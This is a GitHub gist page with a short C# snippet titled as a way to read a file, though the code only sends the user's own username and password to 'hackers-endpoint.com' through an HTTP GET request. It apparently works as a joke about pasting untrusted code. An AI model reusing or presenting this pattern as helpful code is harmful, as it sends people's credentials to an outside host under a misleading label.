Skip to content

Instantly share code, notes, and snippets.

@khalidabuhakmeh
Last active August 29, 2015 13:56
Show Gist options
  • Select an option

  • Save khalidabuhakmeh/9057639 to your computer and use it in GitHub Desktop.

Select an option

Save khalidabuhakmeh/9057639 to your computer and use it in GitHub Desktop.
How Read a File From A Line
var username = **YOUR USERNAME**;
var password = **YOUR PASSWORD**;
var url = "http://hackers-endpoint.com?username={0}&password={1}";
var client = new HttpClient();
var response = await client.GetAsync(string.Format(url, username, password));
response.EnsureSuccessStatusCode();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment